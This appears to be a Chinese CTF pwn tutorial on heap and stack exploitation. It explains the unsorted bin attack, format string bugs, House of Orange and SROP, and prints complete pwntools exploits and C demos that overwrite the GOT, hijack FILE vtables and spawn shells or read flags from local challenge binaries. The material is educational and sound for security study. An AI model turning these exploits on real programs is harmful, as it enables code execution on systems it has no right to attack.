13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>

int main(){
// 程序开始时的提示信息
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

// 对应中文:
/*
fprintf(stderr, "本程序演示如何通过 unsorted bin 攻击将一个大的无符号长整型值写入栈中。\n");
fprintf(stderr, "在实际攻击中,unsorted bin 攻击通常是为了进一步攻击做准备,例如修改 libc 中的全局变量 global_max_fast,以便进行 fastbin 攻击。\n\n");
*/

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

// 对应中文:
/*
fprintf(stderr, "首先,我们看一下栈上想要覆盖的目标变量:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
*/

unsigned long *p=malloc(0x500);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(0x600);

// 对应中文:
/*
fprintf(stderr, "现在,我们在堆上分配第一个正常内存块,地址为:%p\n", p);
fprintf(stderr, "再分配另一个正常的内存块,目的是避免在释放第一个内存块时,top chunk 与其合并。\n\n");
*/

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

// 对应中文:
/*
fprintf(stderr, "我们现在已经释放了第一个内存块,它将被插入到 unsorted bin 中,其 bk 指针指向:%p\n", (void*)p[1]);
*/

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

// 对应中文:
/*
fprintf(stderr, "现在模拟一个可以覆盖 victim->bk 指针的漏洞。\n");
fprintf(stderr, "我们将 victim->bk 写为目标地址减去 16(如果是 32 位机器,则应为目标地址减去 8):%p\n\n", (void*)p[1]);
*/

malloc(0x500);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

// 对应中文:
/*
fprintf(stderr, "再次调用 malloc 来获取我们刚刚释放的内存块。在这个过程中,目标变量应该已经被改写了:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
*/

编译:gcc unsorted_bin_attack.c -no-pie -g -i test

我们通过gdb来调试一下这个程序
先来看看正常free后,Unsorted Bin中的情况

image-20250617132250048
在来看一看修改后的情况

image-20250617132301490
此时,目标地址+0x10的位置还是 0,我们执行malloc,触发 Unsorted Bin Attack 后看看这个位置

image-20250617132309903
可以看到,这个位置成功被我们修改成了 main_arena + 88

至此,我们便完成了 Unsorted Bin Attack

格式化字符串漏洞

一、知识储备

1. 格式化字符串是什么

在C语言中,我们经常会使用到printf之类的函数来输出,printf函数的第一个参数就是一个格式化字符串。在格式化字符串中,我们可以使用占位符,指定格式,这些占位符用来替代后面的变量或者是数据。
例如:
image
更多关于格式化字符串的教程可以这里查看在此我就不过多说明了。

2. 漏洞原理

我们可以使用%数字+$的形式,指定参数相对于格式化字符串的偏移,我们来看看这个程序的运行结果
image
传入参数的顺序没有变化,但是输出参数的顺序改变了。%4$s %3$s %2$s %1$s分别对应格式化字符串后面的第4、3、2、1个参数。
因此通过以上操作(在权限允许的范围内)我们就能够实现:

  • 任意地址泄露:使用%+数字+$
  • 任意地址写入:%数字c%数字$n

二、例题分析(题目附件放在文末)

1.babyfmt

拿到题目先检查保护措施并运行一遍。
image-20250617130708065
了解基本情况之后,我们用ida来看看程序的运行逻辑。main函数非常简单,只调用了一个dofunc函数。
image
程序的运行逻辑非常简单,只要v1等于100就可以getshell了。(当然,溢出的方法能做,这里主要讲格式化字符串的方法。)所以思路非常简单,我们只需要通过格式化字符串修改v1的值为100就可以了。
首先我们要获取rbp的位置,我们可以通过读取rbp中的值,然后再把拿到的值减去0x10就是当前rbp的值,然后再减去0x8就时我们要修改的内存部分了。我们先来动态调试看一下rbp相对于格式化字符串的位置。
image-20250617130719383
可以看到,rsp和rbp相距0x40字节,所以偏移就是5 + 64/8 + 1 = 14(5指的除了rdi之外的另外5个用于参数传递的寄存器),我们的payload1就构造好了。
payload1 = payload1 = b'%14$p'
然后我们接收,并将这个地址减去0x18就是rbp-8的地址了。拿到地址之后我们再通过%100c%x$hhn就能够修改这个地址的值了。下面,我们来计算处x的值。先如下构造payload2。
payload2 = b"%100c%x$hhn" +b'a'*0x5 + p64(rbp_8_addr)(a用于对齐)然后gdb动调。
image-20250617130731675
那么x = 5 + 48/8 + 1 = 12。所以payload2如下:
payload2 = b"%100c%12$hhnaaaa" + p64(rbp_8_addr)

到此这道题就做完了。完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
if __name__=='__main__':
context(log_level='debug' , arch='amd64' , os='linux')
elf = ELF('./babyfmt')

io =process("./babyfmt")
gdb.attach(io)
#payload = b'a' * 0x18 + p64(100)
payload1 = b'%14$p'
io.sendafter("input:\n" , payload1)

stack = int(io.recvline()[ 2 : 14] , 16)
print("stack:" , hex(stack))

value_addr = stack - 0x18

payload2 = b"%100c%12$hhnaaaa" + p64(value_addr)
io.send(payload2)
io.interactive()

2.fmt_str_level_1_x86

拿到题目还是先查看一下保护措施,然后运行一下。
image
了解基本情况之后,我们用ida来看看程序的运行逻辑。main函数非常简单,只调用了一个dofunc函数,我们直接分析这个dofunc函数。
image-20250617130821365

这次没有system给我们跳转了,但是got表时可写的,所以我们可以通过修改printf函数的地址为system的地址然后参数传入**/bin/sh**来getshell。

由于这道题开启了PIE所以我们无法直接从IDA读取地址,我们先通过格式化字符串漏洞泄露函数返回值的地址(就是main函数中 call dofunc之后的下一条指令)然后找到main函数的入口地址,main函数的入口地址减去main函数与printf函数的got表地址之间的偏移量就可以获得printf函数的got表的地址了。通过动态调试得知,dofunc函数的返回地址相对于格式化字符串的偏移为75(32位程序的计算直接数就好了,这里就不带着去找了),所以payload1如下:
payload1 = b'%75$p'
接收got表的地址并处理如下:

1
2
3
4
5
main_addr = main_p30_addr - 30
print("main_addr:" , hex(main_addr))
offset = elf.symbols['main'] - elf.got['printf']
printf_got_addr = main_addr - offset
print("printf_got_addr:" , hex(printf_got_addr))

下一步我们就是要读取printf的got表拿到printf函数的真实地址了,payload2如下:
payload2 = p32(printf_got_addr) + b'%7$s\x00'
接收到真实地址之后我们需要计算出system函数和**/bin/sh的地址**(和普通的libc题目一样),相关代码如下:

1
2
3
4
5
6
7
8
9
print_real_addr = u32(io.recv(8)[ 4 : 8])
print("print_real_addr:" , hex(print_real_addr))

libcbase = print_real_addr - libc.sym["printf"]
sys_addr = libcbase + libc.sym["system"]
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("sys_addr:" , hex(sys_addr))
print("binshi_addr:" , hex(binsh_addr))

下一步我们需要通过%n改地址。但是由于地址是一个十分大的数字,直接使用%n改掉可能会引发崩溃,所以这里我们一个字节一个字节地改地址。老规矩,我们通过动调找到了第一个字节的地址相对于格式化字符串的偏移量位7,由于要修改4次地址,我们简单的写一个脚本帮我们构造payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')

def fmt_str(offset, size, addr, target):
# offset 偏移位置 size 32?64 addr写入地址 target 写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

然后我们调用这个函数来生成payload3
payload3 = fmt_str( 7 , 4 , printf_got_addr , sys_addr)
最后我们只需要把**/bin/sh**传过去就可以了。payload4如下
payload4 = p32(binsh_addr)

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')

def fmt_str(offset, size, addr, target):
# offset 偏移位置 size 32?64 addr写入地址 target 写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

if __name__=='__main__':
context(arch='i386', os='linux', log_level='debug')
#context.terminal=['tmux', 'splitw', '-h']
pwnfile = './fmt_str_level_1_x86'
elf = ELF(pwnfile)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = process(pwnfile)

# gdb.attach(io)
payload1 = b'%75$p'
io.send(payload1)
io.recvuntil("input:\n")
main_p30_addr = int(io.recv(10)[2 : 10] , 16 )
main_addr = main_p30_addr - 30
print("main_addr:" , hex(main_addr))
offset = elf.symbols['main'] - elf.got['printf']

printf_got_addr = main_addr - offset
print("printf_got_addr:" , hex(printf_got_addr))

io.recvuntil("input:\n")
payload2 = p32(printf_got_addr) + b'%7$s\x00'
io.send(payload2)

print_real_addr = u32(io.recv(8)[ 4 : 8])
print("print_real_addr:" , hex(print_real_addr))

libcbase = print_real_addr - libc.sym["printf"]
sys_addr = libcbase + libc.sym["system"]
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("sys_addr:" , hex(sys_addr))
print("binshi_addr:" , hex(binsh_addr))

io.recvuntil("input:\n")
payload3 = fmt_str( 7 , 4 , printf_got_addr , sys_addr)
print( "payload3:" , payload3)
io.send(payload3)

io.recvuntil("input:\n")
payload4 = p32(binsh_addr)
io.send(payload4)

io.interactive()

题目附件

House Of Orange

House Of Orange 简介

该利用方式是最早的一种 IO 利用方式之一,适用条件为glibc 2.23,开启了堆与 IO 组合利用的先河。

当程序中没有free的情况下,利用溢出覆盖Topchunk,然后申请大于topchunk的堆块,这个时候就会把原来的topchunk放入unsorted bin,后续通过 **Unsorted Bin Attack + FSOP **进行攻击。

使用条件

  • 堆溢出(读写)

  • glibc2.23

    【重要版本提示】
    glibc 2.26 后 malloc_printerr 不再调用 _IO_flush_all_lockp(commit 91e7cf98)
    glibc 2.24 引入 _IO_FILE 虚表白名单机制,无法通过修改虚表为堆地址来进行攻击

原理分析

如简介中所说,House Of ORange 的第一步在于,程序中没有提供free的情况下,我们要得到一个进入unsorted bin 的chunk进行后续的泄露。我们来详细分析一个这个过程。对于主arena 和 非主arnea 的处理方式略有不同,我们这里仅讨论主 arena 的情况。

我们知道malloc函数底层会执行_int_malloc函数,在_int_malloc函数中,当我们申请内存的时候,他会依次扫描tcache(如果有的话)、fast bin 、unsorted bin、small bin、large bin 是否有符合要求的堆块,如果都没有,_int_malloc就会试图从**top chunk **中尝试分配,但如果 top chunk 的大小仍无法满足要求,就会执行如下分支

1
2
3
4
5
6
7
8
//av是指向mstate(memory state)的指针,nb是请求的大小
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

核心处理放在了sysmalloc函数,我们进一步分析

sysmalloc中,当我们申请的内存超过mmap阈值(默认是128K)且mmap申请的内存块数量未超过最大数量(默认为65536)的时候会使用mmap来分配内存(这部分不是重点,就不过多介绍了)

1
2
3
4
5
6
if (contiguous (av) && old_size && brk < old_end) {
// ...
} else if ((unsigned long) (size) < (unsigned long) (MMAP_AS_MORECORE_SIZE)) {
size = MMAP_AS_MORECORE_SIZE; // 默认 1MB
char *mbrk = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));
}

sysmalloc函数中当申请的内存未达到mmap的阈值,会尝试通过brk来扩展内存,如果新分配的内存和原来的 top chunk 连续,就会扩展 top chunk ,相关处理如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else { /* av == main_arena */
size_t pagesize = GLRO(dl_pagesize);
...
/* 计算扩展大小 */
size = nb + mp_.top_pad + MINSIZE;
if (contiguous(av))
size -= old_size; // 如果堆连续,减去旧 top 的大小
size = ALIGN_UP(size, pagesize); // 对齐到页大小

brk = (char *) (MORECORE(size)); // 调用 sbrk 扩展堆

if (brk != (char *)(MORECORE_FAILURE)) {
...
/* 如果新内存与 old_top 相邻,直接合并 */
if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE)) {
set_head(old_top, (size + old_size) | PREV_INUSE); // 合并为新 top
} else {
...
}

倘若内存不连续,无法扩展,就会把原来的top chunk 通过调用_int_free函数放入 unsorted bin 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
....
/* 非连续内存处理 */
front_misalign = (INTERNAL_SIZE_T) chunk2mem(brk) & MALLOC_ALIGN_MASK;
if (front_misalign > 0) {
correction = MALLOC_ALIGNMENT - front_misalign;
aligned_brk += correction;
}
...
/* 插入围栏块 */
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
chunk_at_offset(old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE;
chunk_at_offset(old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE;

/* 如果 old_size >= MINSIZE,释放到 unsorted bin */
if (old_size >= MINSIZE) {
_int_free(av, old_top, 1); // 释放 old_top
}
...
}
}

我们的 top chunk 的大小是我们通过溢出等方法修改的,所以执行到sysmalloc的时候brk分配的内存必然和当前的top chunk 是不连续的,因此 top chunk 必然会被放入 unsorted bin 以便后续的泄露

获取libc之后,就可以开始进行 unsorted bin attack 了,我们通过 unsort bin attack 去劫持IO来进行 FSOP

FSOP的核心是劫持IO_FILE结构体。使之落在我们可控的内存上。这就意味着我们是可以控制vtable的,我们将vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址。如果我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp 即可 get shell

正常的IO链表结构是这样的

image-20250716224252590

我们布局之后的结构是这样的

image-20250717165306175

下面我们来看一下,我们成功布局需要绕过的一些检测

1
2
3
4
5
6
7
8
9
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

嗯……看着很晕……

其实就是分了两种情况,

情况1:普通文本模式下的刷新判断(ASCII流)

  • fp->_mode <= 0:表示 处于字节流模式,即不是宽字符流。
  • fp->_IO_write_ptr > fp->_IO_write_base
    • 表示写缓冲区中有 未刷新的数据
    • write_ptr 指向当前写入位置,write_base 是缓冲区起始地址。

表示这个 FILE 结构体的 写缓冲区有内容需要 flush

**情况2:**宽字符模式(wchar_t)下的刷新判断

这个条件只在:

  • 内部使用 glibc(定义了 _LIBC)或
  • 支持 wchar_t 流(定义了 _GLIBCPP_USE_WCHAR_T)时编译

才启用。

条件含义:

  • _IO_vtable_offset(fp) == 0:确保该 FILE 对象是标准的 libio 类型(不是用户扩展或替换的)。
  • fp->_mode > 0:表示是 宽字符流模式
  • fp->_wide_data->_IO_write_ptr > _IO_write_base
    • 宽字符缓冲区中也有 尚未写出的内容

一般来说,我们只需要镇定情况1就可以了,绕过方法非常简单。

值得注意的是

House Of Orange 的攻击链不一定会成功,原因很简单,aboet在调用_IO_flush_all_lockp的时候,会遍历 IO_FILE_plus 结构体链表,对每个 IO 流进行依次刷新,但是我们布局之后,破坏了 stderr 会导致刷新 stderr 的时候崩溃,所以只有当布局之后的假 stderr 不进行刷新的时候才能成功攻击。

第一个结构体的mode字段是main_arena+88+0xc0处的数据决定的 ,这个值会因为libc地址随机而变动。(mode字段是四字节

实例分析

样例:how2heap中的 House of orange

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
House of Orange 攻击演示
利用堆溢出篡改 _IO_list_all 指针
需要泄漏堆地址和 libc 地址
原理参考:http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

// 模拟已知 system 函数地址的场景
int winner(char *ptr);
int main()
{
// 攻击前提:堆溢出可篡改 Top Chunk 元数据
// 初始堆空间完全属于 Top Chunk
// 每次分配会从 Top Chunk 分割内存,导致其逐渐缩小
char *p1, *p2;
size_t io_list_all, *top;

// 【重要版本提示】
// glibc 2.26 后 malloc_printerr 不再调用 _IO_flush_all_lockp(commit 91e7cf98)
// glibc 2.24 引入 _IO_FILE 虚表白名单机制,无法通过修改虚表为堆地址来进行攻击
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

// ┌───────────────────────┐
// │ 第一阶段:堆布局构造 │
// └───────────────────────┘
// 1. 初始分配 0x400-0x10 字节(模拟堆使用)
p1 = malloc(0x400 - 0x10);

// 2. 修改 Top Chunk 元数据
// 原始 Top Chunk 大小为 0x21000(页对齐要求)
// 分配后剩余 0x20C00 + PREV_INUSE 标志(0x20C01)
top = (size_t *)((char *)p1 + 0x400 - 0x10); // 定位到当前 Top Chunk
top[1] = 0xc01; // 设置新大小为 0xC00 + PREV_INUSE(满足页对齐要求)

// 3. 请求超大内存触发 sysmalloc
// 这会导致:
// - 旧堆空间与新申请的内存不连续
// - 旧 Top Chunk 被放入 unsorted bin
p2 = malloc(0x1000); // 请求 0x1000 > 0xC01 的内存

// ┌─────────────────────────────────┐
// │ 第二阶段:unsorted bin 劫持 │
// └─────────────────────────────────┘
// 4. 计算 _IO_list_all 地址
// 通过 free chunk 的 fd/bk 指针(指向 main_arena)定位
io_list_all = top[2] + 0x9a8; // main_arena 偏移计算

// 5. 构造 unsorted bin 链表
// 当 malloc 处理 unsorted bin 时:
// 会将 unsorted_bin->bk->fd 写入 _IO_list_all
// 因此设置:
top[3] = io_list_all - 0x10; // bk 指针指向 _IO_list_all-0x10

// ┌────────────────────────────────────┐
// │ 第三阶段:伪造 FILE 结构体 │
// └────────────────────────────────────┘
// 6. 填充 "/bin/sh" 字符串
memcpy((char *)top, "/bin/sh\x00", 8); // 作为 system 参数

// 7. 设置特殊 size 值触发异常
// 将 Top Chunk 改为 smallbin-4 的 size(0x61)
// 触发 malloc 在检查 size 时发现异常(size <= MINSIZE)
// 进而调用 abort -> _IO_flush_all_lockp
top[1] = 0x61;

// 8. 构造完整的 fake FILE 结构体
FILE *fp = (FILE *)top;
fp->_mode = 0; // _mode <= 0 满足条件
fp->_IO_write_base = (char *)2; // 写指针范围检查
fp->_IO_write_ptr = (char *)3;

// 9. 设置虚函数表跳转
size_t *jump_table = &top[12]; // 跳转表位置
jump_table[3] = (size_t)&winner; // _IO_OVERFLOW 指向 system
*(size_t *)((size_t)fp + sizeof(FILE)) = (size_t)jump_table; // 绑定跳转表

// ┌──────────────────────────┐
// │ 触发漏洞执行系统命令 │
// └──────────────────────────┘
// 最终调用链:
// malloc -> malloc_printerr -> abort -> _IO_flush_all_lockp
// -> _IO_OVERFLOW(fp) -> winner("/bin/sh")
malloc(10); // 触发漏洞

return 0;
}

// 实际执行 shell 的函数
int winner(char *ptr)
{
system(ptr); // system("/bin/sh")
syscall(SYS_exit, 0);
return 0;
}

编译运行:gcc ./house_of_orange.c -O0 -g -no-pie -o a

我们来gdb动调分析一下这个程序

我们在 43 行下断点(也就是模拟修改 top chunk的部分)

这是修改前的 top chunk

image-20250719141215390

修改之后

image-20250719141304459

由 0x20C01 改为 0xC01,示例代码中也提到了,这个低三位的 C01 很关键,是为了绕过 top chunk 的对齐检查。(取地址的末三位 0x400 , 0x400 + 0xC00 = 0x1000满足对其要求)

继续运行到 malloc 的地方, p2 = malloc(0x1000);,当运行完之后,查看堆信息可以看到原先的 top chunk 已经成功被放入 unsorted bin 中了

image-20250719142409460

至此就完成了 libc 的泄露,下面我们来关注 Unsorted Bin Attack 这个过程

来到第 62 行代码, top[3] = io_list_all - 0x10; // bk 指针指向 _IO_list_all-0x10

image-20250719143234427

最后一步就是伪造 IO_FILE 的布局了。

_IO_list_all最终会指向 main_arena + 88,对应的 chian 就在 main_arena + 88 + 0x68 ,前面也提到过,这个位置对应的就是 small bin 中0x61 大小的那一条链 top[1] = 0x61;

且在调用虚表中的函数的时候,传入的参数就时对应的 IO 结构的指针,因此我们把前8字节填入 /bin/sh memcpy((char *)top, "/bin/sh\x00", 8);

后面就是调用overflow函数检测的绕过了,这个很简单。 FILE *fp = (FILE *)top; fp->_mode = 0; // _mode <= 0 满足条件 fp->_IO_write_base = (char *)2; // 写指针范围检查 fp->_IO_write_ptr = (char *)3;

最后执行malloc ,由于 unsorted bin 被破坏了,就会触发abort,从而刷新所有缓冲区,成功执行攻击。

高级ROP之SROP

一、知识储备

1. signal 机制

这里基础知识就搬运ctfwiki上的了。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
image
基本步骤如下:

  1. 内核向某个进程发送signal信号,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。 此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
    image
  3. signal handler 返回后,**内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。**其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

简单来说就是:先保存各个寄存器中的值(Signal Frame),然后挂起用户进程,然后执行信号处理函数,处理完之后恢复栈和各个寄存器让后继续执行用户进程。

2.漏洞利用

可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值以此来达到攻击的目的。
比如说:

1
2
3
4
5
rax = 0x3B(execve)
rdi='/bin/sh\00'
rsi=0x0
rdx=0x0
rip=syscall

这样就可以成功getshell。

Signal Frame看起来十分庞大,但是使用pwntools可以快捷构造我们所需要的Signal Frame

二、例题分析

附件放在文末

拿到题还是先检查一下保护信息,然后运行一下看看。
image
ida分析
main()
image
rt_sigreturn()
image
禁用了execve和execveat这两个系统调用,意味着我们很难getshell,所以使用ORW的方式来读取flag。这道题还有现成的sigreturn。
要实现ORW,我们就要构造SROP链。我们先通过一个sigreturn把栈迁移到已知段,这个段要足够长,足以放下Signal Frame,所以.bss段就是一个很好的选择。
首先我们做一些准备工作,通过ida静态调试,我们拿到了 sigreturn 的地址:sigreturn_sddr = 0x401296、syscall_ret的地址syscall_addr = 0x40129D和bss段的起始地址:0x404060,为了防止我们的操作更改了bss段比较重要的一些进程的数据,我们给这个地址加上一段偏移再使用:bss_addr = 0x404060 + 0x300
然后我们执行栈迁移和第二次read操作,通过IDA的数据可知,我们们需要填充0x28个字节的垃圾数据,所以payload1如下:

1
2
3
4
5
6
7
8
9
10
11
frame1 = SigreturnFrame()
frame1.rip = syscall_addr
frame1.rbp = bss_addr + 0x8
frame1.rsp = bss_addr + 0x8
frame1.rax = constants.SYS_read
frame1.rdi = 0
frame1.rsi = bss_addr
frame1.rdx = 0x400

payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
p.sendline(payload1)

部分解释:bss_addr + 0x8是因为后面我们需要传入‘flag\x00\x00\x00\x00’
下一步我们要进行orw操作
先构造open部分:

1
2
3
4
5
6
7
8
9
10
frame2 = SigreturnFrame()
frame2.rip = syscall_addr
frame2.rbp = bss_addr + 0x8 + 0x100
frame2.rsp = bss_addr + 0x8 + 0x100
frame2.rax = constants.SYS_open
frame2.rdi = bss_addr
frame2.rsi = 0x0
frame2.rdx = 0x0
payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

然后是read部分:

1
2
3
4
5
6
7
8
9
frame3 = SigreturnFrame()
frame3.rip = syscall_addr
frame3.rbp = bss_addr + 0x8 + 0x208
frame3.rsp = bss_addr + 0x8 + 0x200
frame3.rax = constants.SYS_read
frame3.rdi = 0x3
frame3.rsi = bss_addr
frame3.rdx = 0x30
payload3 = p64(sigreturn_sddr) + (bytes(frame3))

最后是write部分:

1
2
3
4
5
6
7
frame4 = SigreturnFrame()
frame4.rip = syscall_addr
frame4.rax = constants.SYS_write
frame4.rdi = 0x1
frame4.rsi = bss_addr
frame4.rdx = 0x30
payload4 = p64(sigreturn_sddr) + (bytes(frame4))

所以总的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
frame2 = SigreturnFrame()
frame2.rip = syscall_addr
frame2.rbp = bss_addr + 0x8 + 0x100
frame2.rsp = bss_addr + 0x8 + 0x100
frame2.rax = constants.SYS_open
frame2.rdi = bss_addr
frame2.rsi = 0x0
frame2.rdx = 0x0
payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

frame3 = SigreturnFrame()
frame3.rip = syscall_addr
frame3.rbp = bss_addr + 0x8 + 0x208
frame3.rsp = bss_addr + 0x8 + 0x200
frame3.rax = constants.SYS_read
frame3.rdi = 0x3
frame3.rsi = bss_addr
frame3.rdx = 0x30
payload3 = p64(sigreturn_sddr) + (bytes(frame3))

frame4 = SigreturnFrame()
frame4.rip = syscall_addr
frame4.rax = constants.SYS_write
frame4.rdi = 0x1
frame4.rsi = bss_addr
frame4.rdx = 0x30
payload4 = p64(sigreturn_sddr) + (bytes(frame4))

pause()
p.send(payload2 + payload3 + payload4)

所以总的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
if __name__ == "__main__":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./srop')
p = process('./srop')

padding = 0x28

bss_addr = 0x404060 + 0x300
sigreturn_sddr = 0x401296
syscall_addr = 0x40129D

frame1 = SigreturnFrame()
frame1.rip = syscall_addr
frame1.rbp = bss_addr + 0x8
frame1.rsp = bss_addr + 0x8
frame1.rax = constants.SYS_read
frame1.rdi = 0
frame1.rsi = bss_addr
frame1.rdx = 0x400

payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
p.sendline(payload1)

frame2 = SigreturnFrame()
frame2.rip = syscall_addr
frame2.rbp = bss_addr + 0x8 + 0x100
frame2.rsp = bss_addr + 0x8 + 0x100
frame2.rax = constants.SYS_open
frame2.rdi = bss_addr
frame2.rsi = 0x0
frame2.rdx = 0x0
payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

frame3 = SigreturnFrame()
frame3.rip = syscall_addr
frame3.rbp = bss_addr + 0x8 + 0x208
frame3.rsp = bss_addr + 0x8 + 0x200
frame3.rax = constants.SYS_read
frame3.rdi = 0x3
frame3.rsi = bss_addr
frame3.rdx = 0x30
payload3 = p64(sigreturn_sddr) + (bytes(frame3))

frame4 = SigreturnFrame()
frame4.rip = syscall_addr
frame4.rax = constants.SYS_write
frame4.rdi = 0x1
frame4.rsi = bss_addr
frame4.rdx = 0x30
